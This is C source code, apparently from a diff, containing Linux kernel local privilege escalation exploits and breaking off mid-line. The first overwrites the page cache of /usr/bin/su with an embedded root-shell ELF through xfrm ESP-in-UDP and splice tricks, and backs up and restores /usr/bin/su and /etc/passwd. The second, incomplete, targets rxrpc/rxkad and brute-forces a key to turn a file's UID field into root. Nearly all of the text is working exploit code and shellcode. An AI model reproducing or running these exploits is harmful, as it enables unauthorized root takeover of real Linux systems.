UDP_ENCAP_ESPINUDP 2 -#endif -#ifndef SOL_UDP -#define SOL_UDP 17 -#endif - -#define ENC_PORT 4500 -#define SEQ_VAL 200 -#define REPLAY_SEQ 100 -#define TARGET_PATH "/usr/bin/su" -#define SU_BACKUP_PATH "/tmp/.dirtyfrag_su_backup" -#define PASSWD_BACKUP_PATH "/tmp/.dirtyfrag_passwd_backup" -#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ -#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ -#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ - -/* - * 192-byte minimal x86_64 root-shell ELF. - * _start at 0x400078: - * setgid(0); setuid(0); setgroups(0, NULL); - * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); - * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. - * - * Setting TERM in the new shell's env silences the - * "tput: No value for $TERM" / "test: : integer expected" noise - * /etc/bash.bashrc and friends emit when TERM is unset. - * - * Code (from offset 0x78): - * 31 ff xor edi, edi - * 31 f6 xor esi, esi - * 31 c0 xor eax, eax - * b0 6a mov al, 0x6a ; setgid - * 0f 05 syscall - * b0 69 mov al, 0x69 ; setuid - * 0f 05 syscall - * b0 74 mov al, 0x74 ; setgroups - * 0f 05 syscall - * 6a 00 push 0 ; envp[1] = NULL - * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" - * 50 push rax ; envp[0] - * 48 89 e2 mov rdx, rsp ; rdx = envp - * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" - * 31 f6 xor esi, esi ; rsi = NULL (argv) - * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) - * 0f 05 syscall ; execve("/bin/sh",NULL,envp) - * "TERM=xterm\0" (offset 0xa5..0xaf) - * "/bin/sh\0" (offset 0xb0..0xb7) - */ -static const uint8_t shell_elf[PAYLOAD_LEN] = { - 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, - 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, - 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, - 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, - 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, - 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, - 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -}; - -extern int g_su_verbose; -int g_su_verbose = 0; -#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) - -static int write_proc(const char *path, const char *buf) -{ - int fd = open(path, O_WRONLY); - if (fd < 0) return -1; - int n = write(fd, buf, strlen(buf)); - close(fd); - return n; -} - -static void setup_userns_netns(void) -{ - uid_t real_uid = getuid(); - gid_t real_gid = getgid(); - if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { - SLOG("unshare: %s", strerror(errno)); - exit(1); - } - write_proc("/proc/self/setgroups", "deny"); - char map[64]; - snprintf(map, sizeof(map), "0 %u 1", real_uid); - if (write_proc("/proc/self/uid_map", map) < 0) { - SLOG("uid_map: %s", strerror(errno)); exit(1); - } - snprintf(map, sizeof(map), "0 %u 1", real_gid); - if (write_proc("/proc/self/gid_map", map) < 0) { - SLOG("gid_map: %s", strerror(errno)); exit(1); - } - int s = socket(AF_INET, SOCK_DGRAM, 0); - if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } - struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, "lo", IFNAMSIZ); - if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } - ifr.ifr_flags |= IFF_UP | IFF_RUNNING; - if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } - close(s); -} - -static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) -{ - struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); - rta->rta_type = type; - rta->rta_len = RTA_LENGTH(len); - memcpy(RTA_DATA(rta), data, len); - nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); -} - -static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) -{ - int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); - if (sk < 0) return -1; - struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; - if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } - - char buf[4096] = {0}; - struct nlmsghdr *nlh = (struct nlmsghdr *)buf; - nlh->nlmsg_type = XFRM_MSG_NEWSA; - nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; - nlh->nlmsg_pid = getpid(); - nlh->nlmsg_seq = 1; - nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); - - struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); - xs->id.daddr.a4 = inet_addr("127.0.0.1"); - xs->id.spi = htonl(spi); - xs->id.proto = IPPROTO_ESP; - xs->saddr.a4 = inet_addr("127.0.0.1"); - xs->family = AF_INET; - xs->mode = XFRM_MODE_TRANSPORT; - xs->replay_window = 0; - xs->reqid = 0x1234; - xs->flags = XFRM_STATE_ESN; - xs->lft.soft_byte_limit = (uint64_t)-1; - xs->lft.hard_byte_limit = (uint64_t)-1; - xs->lft.soft_packet_limit = (uint64_t)-1; - xs->lft.hard_packet_limit = (uint64_t)-1; - xs->sel.family = AF_INET; - xs->sel.prefixlen_d = 32; - xs->sel.prefixlen_s = 32; - xs->sel.daddr.a4 = inet_addr("127.0.0.1"); - xs->sel.saddr.a4 = inet_addr("127.0.0.1"); - - { - char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; - memset(alg_buf, 0, sizeof(alg_buf)); - struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; - strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); - aa->alg_key_len = 32 * 8; - aa->alg_trunc_len = 128; - memset(aa->alg_key, 0xAA, 32); - put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); - } - { - char alg_buf[sizeof(struct xfrm_algo) + 16]; - memset(alg_buf, 0, sizeof(alg_buf)); - struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; - strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); - ea->alg_key_len = 16 * 8; - memset(ea->alg_key, 0xBB, 16); - put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); - } - { - struct xfrm_encap_tmpl enc; - memset(&enc, 0, sizeof(enc)); - enc.encap_type = UDP_ENCAP_ESPINUDP; - enc.encap_sport = htons(ENC_PORT); - enc.encap_dport = htons(ENC_PORT); - enc.encap_oa.a4 = 0; - put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); - } - { - char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; - memset(esn_buf, 0, sizeof(esn_buf)); - struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; - esn->bmp_len = 1; - esn->oseq = 0; - esn->seq = REPLAY_SEQ; - esn->oseq_hi = 0; - esn->seq_hi = patch_seqhi; - esn->replay_window = 32; - put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); - } - - if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } - char rbuf[4096]; - int n = recv(sk, rbuf, sizeof(rbuf), 0); - if (n < 0) { close(sk); return -1; } - struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; - if (rh->nlmsg_type == NLMSG_ERROR) { - struct nlmsgerr *e = NLMSG_DATA(rh); - if (e->error) { close(sk); return -1; } - } - close(sk); - return 0; -} - -static int do_one_write(const char *path, off_t offset, uint32_t spi) -{ - int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); - if (sk_recv < 0) return -1; - int one = 1; - setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); - struct sockaddr_in sa_d = { - .sin_family = AF_INET, - .sin_port = htons(ENC_PORT), - .sin_addr = { inet_addr("127.0.0.1") }, - }; - if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { - close(sk_recv); return -1; - } - int encap = UDP_ENCAP_ESPINUDP; - if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { - close(sk_recv); return -1; - } - int sk_send = socket(AF_INET, SOCK_DGRAM, 0); - if (sk_send < 0) { close(sk_recv); return -1; } - if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { - close(sk_send); close(sk_recv); return -1; - } - int file_fd = open(path, O_RDONLY); - if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } - - int pfd[2]; - if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } - - uint8_t hdr[24]; - *(uint32_t*)(hdr + 0) = htonl(spi); - *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); - memset(hdr + 8, 0xCC, 16); - - struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; - if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { - close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; - } - off_t off = offset; - ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); - if (s != 16) { - close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; - } - s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); - /* still proceed regardless of splice rc — kernel may have already - * decrypted the page in the time between splice and recv */ - usleep(150 * 1000); - - close(file_fd); close(pfd[0]); close(pfd[1]); - close(sk_send); close(sk_recv); - return s == 40 ? 0 : -1; -} - -static int verify_byte(const char *path, off_t offset, uint8_t want) -{ - int fd = open(path, O_RDONLY); - if (fd < 0) return -1; - uint8_t got; - if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } - close(fd); - return got == want ? 0 : -1; -} - -/* ------------------------------------------------------------------ */ -/* Backup / Revert for /usr/bin/su */ -/* */ -/* A copy of the original su binary is saved before any corruption. */ -/* revert_su() restores it (including drop_caches so the page cache */ -/* is re-read from disk), then removes the backup temp file. */ -/* ------------------------------------------------------------------ */ - -static int backup_su(void) -{ - struct stat st; - if (stat(SU_BACKUP_PATH, &st) == 0) { - SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH); - return 0; - } - int src = open(TARGET_PATH, O_RDONLY); - if (src < 0) { - SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno)); - return -1; - } - int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); - if (dst < 0) { - SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno)); - close(src); - return -1; - } - char buf[4096]; - ssize_t n; - while ((n = read(src, buf, sizeof(buf))) > 0) { - if (write(dst, buf, n) != n) { - SLOG("backup_su: write failed: %s", strerror(errno)); - close(src); close(dst); - unlink(SU_BACKUP_PATH); - return -1; - } - } - close(src); - close(dst); - if (n < 0) { - SLOG("backup_su: read failed: %s", strerror(errno)); - unlink(SU_BACKUP_PATH); - return -1; - } - SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH); - return 0; -} - -static int revert_su(void) -{ - int src = open(SU_BACKUP_PATH, O_RDONLY); - if (src < 0) { - SLOG("revert_su: no backup at %s", SU_BACKUP_PATH); - return -1; - } - int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC); - if (dst < 0) { - SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno)); - close(src); - return -1; - } - char buf[4096]; - ssize_t n; - while ((n = read(src, buf, sizeof(buf))) > 0) { - if (write(dst, buf, n) != n) { - SLOG("revert_su: write failed: %s", strerror(errno)); - close(src); close(dst); - return -1; - } - } - close(src); - close(dst); - if (n < 0) { - SLOG("revert_su: read failed: %s", strerror(errno)); - return -1; - } - /* Sync to disk and drop caches so the restored page cache is read */ - int sfd = open(TARGET_PATH, O_RDONLY); - if (sfd >= 0) { syncfs(sfd); close(sfd); } - write_proc("/proc/sys/vm/drop_caches", "1"); - unlink(SU_BACKUP_PATH); - SLOG("%s reverted from backup, page cache flushed", TARGET_PATH); - return 0; -} - -/* ------------------------------------------------------------------ */ -/* Backup / Revert for /etc/passwd */ -/* */ -/* A copy of the original /etc/passwd is saved before any corruption. */ -/* revert_passwd() restores it (including drop_caches so the page */ -/* cache is re-read from disk), then removes the backup temp file. */ -/* ------------------------------------------------------------------ */ - -#define PASSWD_TARGET_PATH "/etc/passwd" - -static int backup_passwd(void) -{ - struct stat st; - if (stat(PASSWD_BACKUP_PATH, &st) == 0) { - SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH); - return 0; - } - int src = open(PASSWD_TARGET_PATH, O_RDONLY); - if (src < 0) { - SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); - return -1; - } - int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); - if (dst < 0) { - SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno)); - close(src); - return -1; - } - char buf[4096]; - ssize_t n; - while ((n = read(src, buf, sizeof(buf))) > 0) { - if (write(dst, buf, n) != n) { - SLOG("backup_passwd: write failed: %s", strerror(errno)); - close(src); close(dst); - unlink(PASSWD_BACKUP_PATH); - return -1; - } - } - close(src); - close(dst); - if (n < 0) { - SLOG("backup_passwd: read failed: %s", strerror(errno)); - unlink(PASSWD_BACKUP_PATH); - return -1; - } - SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH); - return 0; -} - -static int revert_passwd(void) -{ - int src = open(PASSWD_BACKUP_PATH, O_RDONLY); - if (src < 0) { - SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH); - return -1; - } - int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC); - if (dst < 0) { - SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); - close(src); - return -1; - } - char buf[4096]; - ssize_t n; - while ((n = read(src, buf, sizeof(buf))) > 0) { - if (write(dst, buf, n) != n) { - SLOG("revert_passwd: write failed: %s", strerror(errno)); - close(src); close(dst); - return -1; - } - } - close(src); - close(dst); - if (n < 0) { - SLOG("revert_passwd: read failed: %s", strerror(errno)); - return -1; - } - /* Sync to disk and drop caches so the restored page cache is read */ - int sfd = open(PASSWD_TARGET_PATH, O_RDONLY); - if (sfd >= 0) { syncfs(sfd); close(sfd); } - write_proc("/proc/sys/vm/drop_caches", "1"); - unlink(PASSWD_BACKUP_PATH); - SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH); - return 0; -} - -static int corrupt_su(void) -{ - setup_userns_netns(); - usleep(100 * 1000); - - /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the - * desired payload word in its seq_hi field. */ - for (int i = 0; i < PAYLOAD_LEN / 4; i++) { - uint32_t spi = 0xDEADBE10 + i; - uint32_t seqhi = - ((uint32_t)shell_elf[i*4 + 0] << 24) | - ((uint32_t)shell_elf[i*4 + 1] << 16) | - ((uint32_t)shell_elf[i*4 + 2] << 8) | - ((uint32_t)shell_elf[i*4 + 3]); - if (add_xfrm_sa(spi, seqhi) < 0) { - SLOG("add_xfrm_sa #%d failed", i); - return -1; - } - } - SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); - - for (int i = 0; i < PAYLOAD_LEN / 4; i++) { - uint32_t spi = 0xDEADBE10 + i; - off_t off = PATCH_OFFSET + i * 4; - if (do_one_write(TARGET_PATH, off, spi) < 0) { - SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); - return -1; - } - } - SLOG("wrote %d bytes to %s starting at 0x%x", - PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); - return 0; -} - -int su_lpe_main(int argc, char **argv) -{ - int revert_mode = 0; - for (int i = 1; i < argc; i++) { - if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) - g_su_verbose = 1; - else if (!strcmp(argv[i], "--corrupt-only")) - ; /* compat: this body always corrupts only */ - else if (!strcmp(argv[i], "--revert")) - revert_mode = 1; - } - if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; - - if (revert_mode) - return revert_su() == 0 ? 0 : 1; - - /* Back up the original su binary before any corruption attempt. */ - backup_su(); - - pid_t cpid = fork(); - if (cpid < 0) return 1; - if (cpid == 0) { - int rc = corrupt_su(); - _exit(rc == 0 ? 0 : 2); - } - int cstatus; - waitpid(cpid, &cstatus, 0); - if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { - SLOG("corruption stage failed (status=0x%x)", cstatus); - return 1; - } - - /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 - * after our overwrite) should be 0x31 0xff (xor edi, edi — first - * instruction of the new shellcode). */ - if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || - verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { - SLOG("post-write verify failed (target unchanged)"); - return 1; - } - SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", - ENTRY_OFFSET); - return 0; -} -/* - * rxrpc/rxkad LPE — uid=1000 → root - */ - -#define _GNU_SOURCE -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <stdint.h> -#include <stdarg.h> -#include <errno.h> -#include <unistd.h> -#include <fcntl.h> -#include <time.h> -#include <sched.h> -#include <poll.h> -#include <signal.h> -#include <sys/wait.h> -#include <sys/socket.h> -#include <sys/syscall.h> -#include <sys/uio.h> -#include <sys/types.h> -#include <sys/mman.h> -#include <sys/stat.h> -#include <sys/ioctl.h> -#include <netinet/in.h> -#include <arpa/inet.h> -#include <linux/rxrpc.h> -#include <linux/keyctl.h> -#include <linux/if_alg.h> -#include <net/if.h> -#include <termios.h> - -#ifndef AF_RXRPC -#define AF_RXRPC 33 -#endif -#ifndef PF_RXRPC -#define PF_RXRPC AF_RXRPC -#endif -#ifndef SOL_RXRPC -#define SOL_RXRPC 272 -#endif -#ifndef SOL_ALG -#define SOL_ALG 279 -#endif -#ifndef AF_ALG -#define AF_ALG 38 -#endif -#ifndef MSG_SPLICE_PAGES -#define MSG_SPLICE_PAGES 0x8000000 -#endif - -/* ---- rxrpc constants ---- */ -#define RXRPC_PACKET_TYPE_DATA 1 -#define RXRPC_PACKET_TYPE_ACK 2 -#define RXRPC_PACKET_TYPE_ABORT 4 -#define RXRPC_PACKET_TYPE_CHALLENGE 6 -#define RXRPC_PACKET_TYPE_RESPONSE 7 -#define RXRPC_CLIENT_INITIATED 0x01 -#define RXRPC_REQUEST_ACK 0x02 -#define RXRPC_LAST_PACKET 0x04 -#define RXRPC_CHANNELMASK 3 -#define RXRPC_CIDSHIFT 2 - -struct rxrpc_wire_header { - uint32_t epoch; - uint32_t cid; - uint32_t callNumber; - uint32_t seq; - uint32_t serial; - uint8_t type; - uint8_t flags; - uint8_t userStatus; - uint8_t securityIndex; - uint16_t cksum; /* big-endian on wire */ - uint16_t serviceId; -} __attribute__((packed)); - -struct rxkad_challenge { - uint32_t version; - uint32_t nonce; - uint32_t min_level; - uint32_t __padding; -} __attribute__((packed)); - -/* Attacker-chosen 8-byte session key used for the rxkad token. - * Mutable because the LPE brute-force iterates over keys looking for - * one that decrypts the file's UID field to a "0:" prefix. */ -static uint8_t SESSION_KEY[8] = { - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 -}; - -#define LOG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); } while (0) -#define WARN(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); } while (0) -#define DBG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); } while (0) - -/* =================================================================== */ -/* unshare + map setup */ -/* =================================================================== */ - -static int write_file(const char *path, const char *fmt, ...) -{ - int fd = open(path, O_WRONLY); - if (fd < 0) return -1; - char buf[256]; va_list ap; va_start(ap, fmt); - int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); - int r = (int)write(fd, buf, n); close(fd); - return r; -} - -static int do_unshare_userns_netns(void) -{ - uid_t real_uid = getuid(); - gid_t real_gid = getgid(); - if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { - WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); - return -1; - } - LOG("unshare(USER|NET) OK, real uid=%u", real_uid); - write_file("/proc/self/setgroups", "deny"); - if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { - WARN("uid_map: %s", strerror(errno)); return -1; - } - if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { - WARN("gid_map: %s", strerror(errno)); return -1; - } - LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", - real_uid, real_gid); - - /* ifup lo */ - int s = socket(AF_INET, SOCK_DGRAM, 0); - if (s >= 0) { - struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); - strcpy(ifr.ifr_name, "lo"); - if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { - ifr.ifr_flags |= IFF_UP | IFF_RUNNING; - if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) - WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); - else - LOG("lo brought UP in new netns"); - } - close(s); - } - return 0; -} - -/* =================================================================== */ -/* rxrpc key (rxkad v1 token with attacker session key) */ -/* =================================================================== */ - -static long key_add(const char *type, const char *desc, - const void *payload, size_t plen, int ringid) -{ - return syscall(SYS_add_key, type, desc, payload, plen, ringid); -} - -static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) -{ - uint8_t *p = out; - uint32_t now = (uint32_t)time(NULL); - uint32_t expires = now + 86400; - *(uint32_t *)p = htonl(0); p += 4; /* flags */ - const char *cell = "evil"; - uint32_t clen = strlen(cell); - *(uint32_t *)p = htonl(clen); p += 4; - memcpy(p, cell, clen); - uint32_t pad = (4 - (clen & 3)) & 3; - memset(p + clen, 0, pad); - p += clen + pad; - *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ - uint8_t *toklen_p = p; p += 4; - uint8_t *tokstart = p; - *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ - *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ - *(uint32_t *)p = htonl(1); p += 4; /* kvno */ - memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ - *(uint32_t *)p = htonl(now); p += 4; - *(uint32_t *)p = htonl(expires); p += 4; - *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ - *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ - memset(p, 0xCC, 8); p += 8; /* ticket */ - uint32_t toklen = (uint32_t)(p - tokstart); - *(uint32_t *)toklen_p = htonl(toklen); - if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } - return (int)(p - out); -} - -static long add_rxrpc_key(const char *desc) -{ - uint8_t buf[512]; - int n = build_rxrpc_v1_token(buf, sizeof(buf)); - if (n < 0) return -1; - return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); -} - -/* =================================================================== */ -/* AF_ALG pcbc(fcrypt) helpers */ -/* =================================================================== */ - -static int alg_open_pcbc_fcrypt(const uint8_t key[8]) -{ - int s = socket(AF_ALG, SOCK_SEQPACKET, 0); - if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } - struct sockaddr_alg sa = { .salg_family = AF_ALG }; - strcpy((char *)sa.salg_type, "skcipher"); - strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); - if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { - WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); - close(s); return -1; - } - if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { - WARN("ALG_SET_KEY: %s", strerror(errno)); - close(s); return -1; - } - return s; -} - -/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ -static int alg_op(int alg_s, int op, const uint8_t iv[8], - const void *in, size_t inlen, void *out) -{ - int op_fd = accept(alg_s, NULL, NULL); - if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } - - char cbuf[CMSG_SPACE(sizeof(int)) + - CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; - struct msghdr msg = {0}; - msg.msg_control = cbuf; - msg.msg_controllen = sizeof(cbuf); - - struct cmsghdr *c = CMSG_FIRSTHDR(&msg); - c->cmsg_level = SOL_ALG; - c->cmsg_type = ALG_SET_OP; - c->cmsg_len = CMSG_LEN(sizeof(int)); - *(int *)CMSG_DATA(c) = op; - - c = CMSG_NXTHDR(&msg, c); - c->cmsg_level = SOL_ALG; - c->cmsg_type = ALG_SET_IV; - c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); - struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); - aiv->ivlen = 8; - memcpy(aiv->iv, iv, 8); - - struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; - msg.msg_iov = &iov; msg.msg_iovlen = 1; - - if (sendmsg(op_fd, &msg, 0) < 0) { - WARN("AF_ALG sendmsg: %s", strerror(errno)); - close(op_fd); return -1; - } - ssize_t n = read(op_fd, out, inlen); - close(op_fd); - if (n != (ssize_t)inlen) { - WARN("AF_ALG read got %zd want %zu: %s", - n, inlen, strerror(errno)); - return -1; - } - return 0; -} - -/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): - * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) - * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] - * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) - */ -static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, - const uint8_t key[8], uint8_t csum_iv[8]) -{ - int s = alg_open_pcbc_fcrypt(key); - if (s < 0) return -1; - uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; - uint8_t out[16]; - int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); - close(s); - if (rc < 0) return -1; - memcpy(csum_iv, out + 8, 8); - return 0; -} - -/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): - * x = (cid_low2 << 30) | (seq & 0x3fffffff) - * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) - * PCBC-encrypt(buf, IV=csum_iv) → enc[8] - * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 - */ -static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, - const uint8_t key[8], const uint8_t csum_iv[8], - uint16_t *cksum_out) -{ - int s = alg_open_pcbc_fcrypt(key); - if (s < 0) return -1; - uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); - x |= seq & 0x3fffffff; - uint32_t in[2] = { htonl(call_id), htonl(x) }; - uint32_t out[2]; - int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); - close(s); - if (rc < 0) return -1; - uint32_t y = ntohl(out[1]); - uint16_t v = (y >> 16) & 0xffff; - if (v == 0) v = 1; - *cksum_out = v; - return 0; -} - -/* =================================================================== */ -/* AF_RXRPC client */ -/* =================================================================== */ - -static int setup_rxrpc_client(uint16_t local_port, const char *keyname) -{ - int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); - if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } - if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, - keyname, strlen(keyname)) < 0) { - WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; - } - int min_level = RXRPC_SECURITY_AUTH; - if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, - &min_level, sizeof(min_level)) 